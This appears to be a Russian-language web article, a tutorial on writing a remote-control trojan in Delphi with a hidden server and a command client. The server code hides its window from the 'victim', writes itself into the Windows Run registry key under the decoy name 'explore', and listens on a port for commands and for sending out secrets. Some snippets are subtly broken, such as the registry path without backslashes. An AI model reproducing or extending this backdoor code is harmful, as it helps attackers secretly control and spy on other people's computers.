14.08.2026
| Главная | Поиск | Регистрация | Профиль | Вход | Выход |
Реклама
Реклама
Интересное
Главная » Статьи » Программирование на Делфи » Программирование на Делфи

Система удалённого управления на Delphi

[Вступление]
Привет, читатель! Это моя первая статья по кодингу, да и вообще первая хорошая статья:), поэтому краткое вступление:
В сентябре 2005 года, когда я только ударился в хакинг {и ударился больно}, я взял троян ALB и считал себя суперхакером. Но вскоре я понял, что ХАКЕР - ЭТО НЕ ТОТ ЧЕЛОВЕК, КОТОРЫЙ ЮЗАЕТ ТРОЯН, А ТОТ, КТО ЕГО ПИШЕТ! {золотая истина!}. И вот, через полгода я уже в состоянии написать собственный троян, этим мы и займемся.

[Теория]
Наш троян будет состоять из двух частей: клиента и сервера. Сервер - это та часть, которая будет на компьютере жертвы, она будет открывать соединение через сокет {что такое сокет смотри ниже} и выполнять текстовые команды клиента. Клиент - это, как ты догадался, прога, которая должна стоять у нас и управлять сервером.

[Порты и сокеты]
Существует мировой стандарт структуры протоколов связи - семиуровневая OSI (Open Systems Interface - интерфейс открытых систем). Hа каждом из уровней этой структуры решается свой объем задач своими методами. Сокеты находятся на так назывемом транспортном уровне - ниже находится сетевой протокол IP, выше - специализированные протоколы сеансового уровня, ориентированные на решение конкретных задач - это всем известные FTP, SMTP, etc.
Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со всеми присущими ему свойствами, и, естественно - возможностью получать и передавать данные. Когда говорят СОКЕТ, то часто не представляют, что это такое. Можно говорить о моделях, о реализациях и так далее. Но есть одно простое толкование, применимое для протокола IP. Как известно для взаимодействия между машинами по протоколу IP используются адреса и порты. Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто его представляют в символьной форме mmm.nnn.ppp.qqq (адрес разбитый на четыре октета по одному байту в октете и разделеный точками) . Второе - это номер порта в диапазоне от нуля до 65535. Так вот эта пара и есть сокет (гнездо в в котором расположены адрес и порт). В процессе обмена как правило используются два сокета - сокет отправителя и сокет получателя. Порт - это "гавань", на которую можно пристыковаться, как сказно выше, на одном IP - 65535 портов. Все они есть в системе, но активны только несколько. Троян на сервере открывает порт, а клиент к нему стыкуется. В это время идет обмен данными.

[Практика]
Итак, приступим!
Сервер и клиент сокетов расположены на вкладке Internet и называются ServerSocket и ClientSocket. Внимание! Не перепутай:
В Delphi 7 этих компонентов стандартно нет, есть только компоненты TCPServer и TCPClient - они нам НЕ ПОДХОДЯТ!{в данном случае}. Если у тебя Delphi 7, тебе придется вручную установить их, для этого иди в Component>>insall Packages>>Add>>Директория_Делфи/bin/dclsockets70.bpl

[Сервер]
Кидаем на форму серверный компонент , пусть это будет ServerSocket1. Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.

В разделе программы var описываем переменные:
i:string;

Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:
Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь:)}
ServerSocket1.Open; {Запускаем сервер}

Теперь сделаем так, чтобы троян прописывался в автозагрузку: (в uses добавить registry, в var - registry:TRegistry;)

registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('softwaremicrosoftwindowscurrentversionrun',true); {подключ}
registry.Writestring('explore',Application.ExeName); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}

Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:

В событии сервера OnClientRead {поступила команда от клиента} пишем:
i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}

{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.

Вот как это выглядит на Делфи:
}

if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)

{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}

Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера. В раздел var добавляем переменную типа integer, обзовем ее 'p'.
В той же процедуре добавляем:

if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');

Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".

Не забудь сохранить проект.

С сервером разобрались, теперь клиент.

[Клиент]
Создаем новый проект.

//Клиент, который я использую довольно простой. Не вздумайте делать такой в заказном трояне, например!!!

В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.

Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.

Дальше обработчики событий для клиента:

{OnConnect}
sb.SimpleText:='Подключение произошло успешно';

{OnError}
sb.SimpleText:='Произошла ошибка';

{OnDisconnect}
sb.SimpleText:='Клиент отключен';

{OnConnecting}
sb.SimpleText:='Подключаюсь...';

{OnRead}
i:=Client.ReceiveText;
sb.SimpleText:=i;

Теперь обработаем событие OnClick для кнопок:

{Exit}
form1.close;

{Connect}
client.Address:=strtoint(IP.text); //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента

{Disconnect}
client.close;

{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';


На этом моя статья заканчивается. Сейчас я думаю, стоит ли мне писать и дальше статьи по кодингу, или это моя первая и последняя статья? Проголосуйте за статью, чтобы я это узнал.

Владислав Новик aka VladUha

Категория: Программирование на Делфи | Добавил: MalCer (26.08.2009)
Просмотров: 1334 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Реклама
Кабинет

Читать ЛС ()

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!



Фраза дня:
Кто с нами

Сегодня были:
Статистика
Партнеры
Graffiti Decorations(R) Studio (TM) Site Promoter Mnogo-softa.net.ru-Софт,срипты,шаблоны и др. MEGA-ToP-ТОП раскрутка раскрутка сайтов. Рейтинг лучших сайтов
описание